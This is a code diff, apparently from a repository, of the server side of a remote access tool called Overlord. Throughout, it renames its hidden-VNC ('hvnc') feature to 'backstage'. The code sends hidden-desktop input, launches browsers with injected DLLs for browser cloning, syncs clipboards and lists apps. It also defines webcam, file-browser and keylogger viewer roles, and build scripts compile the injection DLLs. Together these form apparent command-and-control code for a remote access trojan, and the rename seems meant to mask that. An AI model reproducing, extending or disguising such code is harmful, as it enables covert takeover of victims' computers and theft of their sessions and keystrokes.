if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_uia":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_uia", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_uia":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_set_resolution": {
|
||||
case "backstage_set_resolution": {
|
||||
const maxHeight = Number(payload.maxHeight) || 0;
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_set_resolution", { maxHeight });
|
||||
break;
|
||||
}
|
||||
case "hvnc_mouse_move":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
case "backstage_mouse_move":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
case "hvnc_mouse_down":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", {
|
||||
case "backstage_mouse_down":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_down", {
|
||||
button: Number(payload.button) || 0,
|
||||
x: Number(payload.x) || 0,
|
||||
y: Number(payload.y) || 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_mouse_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", {
|
||||
case "backstage_mouse_up":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_up", {
|
||||
button: Number(payload.button) || 0,
|
||||
x: Number(payload.x) || 0,
|
||||
y: Number(payload.y) || 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_mouse_wheel":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
case "backstage_mouse_wheel":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
case "hvnc_key_down":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
|
||||
case "backstage_key_down":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_key_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||
case "backstage_key_up":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_lookup":
|
||||
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
|
||||
case "backstage_lookup":
|
||||
sendbackstageCommand(target, "backstage_lookup", { exe: String(payload.exe || "") });
|
||||
break;
|
||||
case "hvnc_browser_check":
|
||||
sendHVNCCommand(target, "hvnc_browser_check", {});
|
||||
case "backstage_browser_check":
|
||||
sendbackstageCommand(target, "backstage_browser_check", {});
|
||||
break;
|
||||
case "hvnc_installed_apps":
|
||||
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
||||
case "backstage_installed_apps":
|
||||
sendbackstageCommand(target, "backstage_installed_apps", {});
|
||||
break;
|
||||
case "hvnc_window_list":
|
||||
sendHVNCCommand(target, "hvnc_window_list", {});
|
||||
case "backstage_window_list":
|
||||
sendbackstageCommand(target, "backstage_window_list", {});
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", {
|
||||
case "backstage_start_process":
|
||||
sendbackstageCommand(target, "backstage_start_process", {
|
||||
path: String(payload.path || ""),
|
||||
kill_exe: String(payload.kill_exe || ""),
|
||||
opera_patch: Boolean(payload.opera_patch),
|
||||
display: state.display ?? 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_kill_all":
|
||||
sendHVNCCommand(target, "hvnc_kill_all", {});
|
||||
case "backstage_kill_all":
|
||||
sendbackstageCommand(target, "backstage_kill_all", {});
|
||||
break;
|
||||
case "hvnc_start_process_injected": {
|
||||
case "backstage_start_process_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
|
||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDll = getCaptureDllBytes();
|
||||
@@ -1335,14 +1335,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_chrome_injected": {
|
||||
case "backstage_start_chrome_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
|
||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllChrome = getCaptureDllBytes();
|
||||
@@ -1352,14 +1352,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_browser_injected": {
|
||||
case "backstage_start_browser_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
|
||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllBrowser = getCaptureDllBytes();
|
||||
@@ -1373,20 +1373,20 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
if (!state.isStreaming) break;
|
||||
const text = String(payload.text || "");
|
||||
if (text) {
|
||||
sendHVNCCommand(target, "clipboard_set", { text });
|
||||
sendbackstageCommand(target, "clipboard_set", { text });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_start": {
|
||||
if (!state.isStreaming) break;
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "backstage" });
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_stop": {
|
||||
@@ -1396,8 +1396,8 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "webrtc_p2p_offer": {
|
||||
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
|
||||
if (!sdp) break;
|
||||
const sessionId = createP2PSession(ws, clientId, "hvnc");
|
||||
sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false });
|
||||
const sessionId = createP2PSession(ws, clientId, "backstage");
|
||||
sendbackstageCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "backstage", hasVideo: true, hasAudio: false });
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_ice": {
|
||||
@@ -1405,9 +1405,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
if (!sessionId) break;
|
||||
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
|
||||
if (!candidate) break;
|
||||
sendHVNCCommand(target, "webrtc_p2p_ice", {
|
||||
sendbackstageCommand(target, "webrtc_p2p_ice", {
|
||||
sessionId,
|
||||
kind: "hvnc",
|
||||
kind: "backstage",
|
||||
candidate,
|
||||
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
|
||||
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
|
||||
@@ -1417,7 +1417,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "webrtc_p2p_stop": {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (cleared) {
|
||||
sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
|
||||
sendbackstageCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -1426,18 +1426,18 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
}
|
||||
}
|
||||
|
||||
export function sendHVNCCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
|
||||
export function sendbackstageCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
|
||||
if (!target) {
|
||||
logger.warn(`[hvnc] send command skipped, target missing command=${commandType}`);
|
||||
logger.warn(`[backstage] send command skipped, target missing command=${commandType}`);
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
logger.debug(`[hvnc] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
||||
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
||||
metrics.recordCommand(commandType);
|
||||
return true;
|
||||
} catch (err) {
|
||||
logger.error("[hvnc] send command failed", err);
|
||||
logger.error("[backstage] send command failed", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -1448,8 +1448,8 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
|
||||
}
|
||||
}
|
||||
|
||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
(globalThis as any).__backstageBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
|
||||
if (!state.isStreaming) {
|
||||
state.isStreaming = true;
|
||||
}
|
||||
@@ -1457,13 +1457,13 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
|
||||
if (frameFps > 0) {
|
||||
state.lastFps = frameFps;
|
||||
}
|
||||
hvncStreamingState.set(clientId, state);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
const buf = buildViewerFrameBuffer(bytes, header);
|
||||
const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
|
||||
const result = broadcastFrameToViewers(sessionManager.getbackstageSessionsForClient(clientId), buf, header);
|
||||
if (result.dropped) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (target) {
|
||||
sendHVNCCommand(target, "hvnc_request_keyframe", {
|
||||
sendbackstageCommand(target, "backstage_request_keyframe", {
|
||||
reason: "viewer_backpressure",
|
||||
format: String(header?.format || ""),
|
||||
});
|
||||
@@ -13,7 +13,7 @@ import {
|
||||
} from "./webrtc-p2p-sessions";
|
||||
import {
|
||||
cleanupViewerP2P,
|
||||
} from "./ws-console-rd-hvnc";
|
||||
} from "./ws-console-rd-backstage";
|
||||
|
||||
function sendDesktopAudioCommand(
|
||||
clientId: string,
|
||||
|
||||
@@ -11,12 +11,12 @@ import {
|
||||
getRdSessionsByClient,
|
||||
getRdSessionCount,
|
||||
hasRdSessionsForClient,
|
||||
addHvncSession,
|
||||
getHvncSession,
|
||||
deleteHvncSession,
|
||||
getHvncSessionsByClient,
|
||||
hasHvncSessionsForClient,
|
||||
getHvncSessionCount,
|
||||
addbackstageSession,
|
||||
getbackstageSession,
|
||||
deletebackstageSession,
|
||||
getbackstageSessionsByClient,
|
||||
hasbackstageSessionsForClient,
|
||||
getbackstageSessionCount,
|
||||
addFileBrowserSession,
|
||||
getFileBrowserSession,
|
||||
deleteFileBrowserSession,
|
||||
@@ -135,18 +135,18 @@ describe("sessionManager - remote desktop sessions", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("sessionManager - HVNC sessions", () => {
|
||||
test("add, get, and delete HVNC session", () => {
|
||||
describe("sessionManager - backstage sessions", () => {
|
||||
test("add, get, and delete backstage session", () => {
|
||||
const ws = mockWs();
|
||||
addHvncSession({ id: "hvnc-1", clientId: "c-hvnc", viewer: ws, createdAt: Date.now() });
|
||||
addbackstageSession({ id: "backstage-1", clientId: "c-backstage", viewer: ws, createdAt: Date.now() });
|
||||
|
||||
expect(getHvncSession("hvnc-1")).toBeDefined();
|
||||
expect(hasHvncSessionsForClient("c-hvnc")).toBe(true);
|
||||
expect(getHvncSessionsByClient("c-hvnc").length).toBe(1);
|
||||
expect(getHvncSessionCount()).toBeGreaterThanOrEqual(1);
|
||||
expect(getbackstageSession("backstage-1")).toBeDefined();
|
||||
expect(hasbackstageSessionsForClient("c-backstage")).toBe(true);
|
||||
expect(getbackstageSessionsByClient("c-backstage").length).toBe(1);
|
||||
expect(getbackstageSessionCount()).toBeGreaterThanOrEqual(1);
|
||||
|
||||
expect(deleteHvncSession("hvnc-1")).toBe(true);
|
||||
expect(getHvncSession("hvnc-1")).toBeUndefined();
|
||||
expect(deletebackstageSession("backstage-1")).toBe(true);
|
||||
expect(getbackstageSession("backstage-1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -23,11 +23,11 @@ export type DashboardViewer = {
|
||||
const consoleSessions = new Map<string, ConsoleSession>();
|
||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||
const backstageSessions = new Map<string, RemoteDesktopViewer>(); // backstage uses same structure as RD
|
||||
const consoleSessionsByClient = new Map<string, Set<string>>();
|
||||
const rdSessionsByClient = new Map<string, Set<string>>();
|
||||
const webcamSessionsByClient = new Map<string, Set<string>>();
|
||||
const hvncSessionsByClient = new Map<string, Set<string>>();
|
||||
const backstageSessionsByClient = new Map<string, Set<string>>();
|
||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||
const processSessions = new Map<string, ProcessViewer>();
|
||||
const fileBrowserSessionsByClient = new Map<string, Set<string>>();
|
||||
@@ -196,53 +196,53 @@ export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return rdSessions;
|
||||
}
|
||||
|
||||
// ==================== HVNC SESSION MANAGEMENT ====================
|
||||
// ==================== backstage SESSION MANAGEMENT ====================
|
||||
|
||||
export function addHvncSession(session: RemoteDesktopViewer): void {
|
||||
hvncSessions.set(session.id, session);
|
||||
addSessionToClientIndex(hvncSessionsByClient, session.clientId, session.id);
|
||||
export function addbackstageSession(session: RemoteDesktopViewer): void {
|
||||
backstageSessions.set(session.id, session);
|
||||
addSessionToClientIndex(backstageSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getHvncSession(
|
||||
export function getbackstageSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
return hvncSessions.get(sessionId);
|
||||
return backstageSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteHvncSession(sessionId: string): boolean {
|
||||
const existing = hvncSessions.get(sessionId);
|
||||
export function deletebackstageSession(sessionId: string): boolean {
|
||||
const existing = backstageSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
hvncSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(hvncSessionsByClient, existing.clientId, sessionId);
|
||||
backstageSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(backstageSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return getHvncSessionsForClient(clientId);
|
||||
export function getbackstageSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return getbackstageSessionsForClient(clientId);
|
||||
}
|
||||
|
||||
export function getHvncSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||
const ids = hvncSessionsByClient.get(clientId);
|
||||
export function getbackstageSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||
const ids = backstageSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: RemoteDesktopViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = hvncSessions.get(id);
|
||||
const session = backstageSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function hasHvncSessionsForClient(clientId: string): boolean {
|
||||
const ids = hvncSessionsByClient.get(clientId);
|
||||
export function hasbackstageSessionsForClient(clientId: string): boolean {
|
||||
const ids = backstageSessionsByClient.get(clientId);
|
||||
return Boolean(ids && ids.size > 0);
|
||||
}
|
||||
|
||||
export function getAllHvncSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return hvncSessions;
|
||||
export function getAllbackstageSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return backstageSessions;
|
||||
}
|
||||
|
||||
export function getHvncSessionCount(): number {
|
||||
return hvncSessions.size;
|
||||
export function getbackstageSessionCount(): number {
|
||||
return backstageSessions.size;
|
||||
}
|
||||
|
||||
// ==================== FILE BROWSER SESSION MANAGEMENT ====================
|
||||
|
||||
@@ -5,7 +5,7 @@ export type SocketRole =
|
||||
| ClientRole
|
||||
| "console_viewer"
|
||||
| "rd_viewer"
|
||||
| "hvnc_viewer"
|
||||
| "backstage_viewer"
|
||||
| "webcam_viewer"
|
||||
| "file_browser_viewer"
|
||||
| "process_viewer"
|
||||
|
||||
@@ -38,7 +38,7 @@ describe("feature permissions", () => {
|
||||
expect(ALL_FEATURES).toEqual([
|
||||
"console",
|
||||
"remote_desktop",
|
||||
"hvnc",
|
||||
"backstage",
|
||||
"webcam",
|
||||
"file_browser",
|
||||
"processes",
|
||||
@@ -115,11 +115,11 @@ describe("feature permissions", () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
setUserFeaturePermission(operator.id, "hvnc", false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
|
||||
setUserFeaturePermission(operator.id, "backstage", false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(false);
|
||||
|
||||
setUserFeaturePermission(operator.id, "hvnc", true);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
|
||||
setUserFeaturePermission(operator.id, "backstage", true);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
|
||||
@@ -507,7 +507,7 @@ export function setUserPluginAccessRulesBulk(
|
||||
export type FeatureName =
|
||||
| "console"
|
||||
| "remote_desktop"
|
||||
| "hvnc"
|
||||
| "backstage"
|
||||
| "webcam"
|
||||
| "file_browser"
|
||||
| "processes"
|
||||
@@ -521,7 +521,7 @@ export type FeatureName =
|
||||
export const ALL_FEATURES: FeatureName[] = [
|
||||
"console",
|
||||
"remote_desktop",
|
||||
"hvnc",
|
||||
"backstage",
|
||||
"webcam",
|
||||
"file_browser",
|
||||
"processes",
|
||||
|
||||
@@ -289,9 +289,9 @@ export function handleFrame(info: ClientInfo, payload: any): boolean {
|
||||
if (globalAny.__webcamBroadcast) {
|
||||
handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} else if (header?.hvnc) {
|
||||
if (globalAny.__hvncBroadcast) {
|
||||
handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||
} else if (header?.backstage) {
|
||||
if (globalAny.__backstageBroadcast) {
|
||||
handledByViewerRelay = globalAny.__backstageBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} else if (globalAny.__rdBroadcast) {
|
||||
handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
|
||||
|
||||
const textEncoder = new TextEncoder();
|
||||
|
||||
@@ -37,13 +37,13 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"voice_uplink",
|
||||
"desktop_audio_uplink",
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
"hvnc_browser_check_result",
|
||||
"hvnc_installed_apps_result",
|
||||
"hvnc_dxgi_status",
|
||||
"hvnc_browser_launch_status",
|
||||
"hvnc_window_list_result",
|
||||
"backstage_clone_progress",
|
||||
"backstage_lookup_result",
|
||||
"backstage_browser_check_result",
|
||||
"backstage_installed_apps_result",
|
||||
"backstage_dxgi_status",
|
||||
"backstage_browser_launch_status",
|
||||
"backstage_window_list_result",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
|
||||
@@ -21,12 +21,12 @@ cd "$ROOT"
|
||||
# C++ compiler for COM / __uuidof support
|
||||
CXX="${CXX:-x86_64-w64-mingw32-g++}"
|
||||
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
||||
SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-BackstageCapture/src}"
|
||||
OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||
SRC_DIR="${BACKSTAGE_CAPTURE_SRC_DIR:-BackstageCapture/src}"
|
||||
OUT_DIR="${BACKSTAGE_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||
DLL_NAME="BackstageCapture.x64.dll"
|
||||
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
|
||||
MINHOOK_REF="${MINHOOK_REF:-master}"
|
||||
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
|
||||
BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
|
||||
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageCapture/Minhook}"
|
||||
|
||||
mkdir -p "$OUT_DIR"
|
||||
@@ -100,7 +100,7 @@ if ! command -v "$CXX" >/dev/null 2>&1; then
|
||||
fi
|
||||
|
||||
fetch_minhook() {
|
||||
if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
|
||||
if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
|
||||
@@ -24,12 +24,12 @@ ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
||||
SRC_DIR="${HVNC_SRC_DIR:-BackstageInjection/src}"
|
||||
OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||
SRC_DIR="${BACKSTAGE_SRC_DIR:-BackstageInjection/src}"
|
||||
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||
DLL_NAME="BackstageInjection.x64.dll"
|
||||
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
|
||||
MINHOOK_REF="${MINHOOK_REF:-master}"
|
||||
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
|
||||
BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
|
||||
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageInjection/Minhook}"
|
||||
|
||||
mkdir -p "$OUT_DIR"
|
||||
@@ -102,7 +102,7 @@ if ! command -v "$CC" >/dev/null 2>&1; then
|
||||
fi
|
||||
|
||||
fetch_minhook() {
|
||||
if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
|
||||
if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
|
||||
Reference in New Issue
Block a user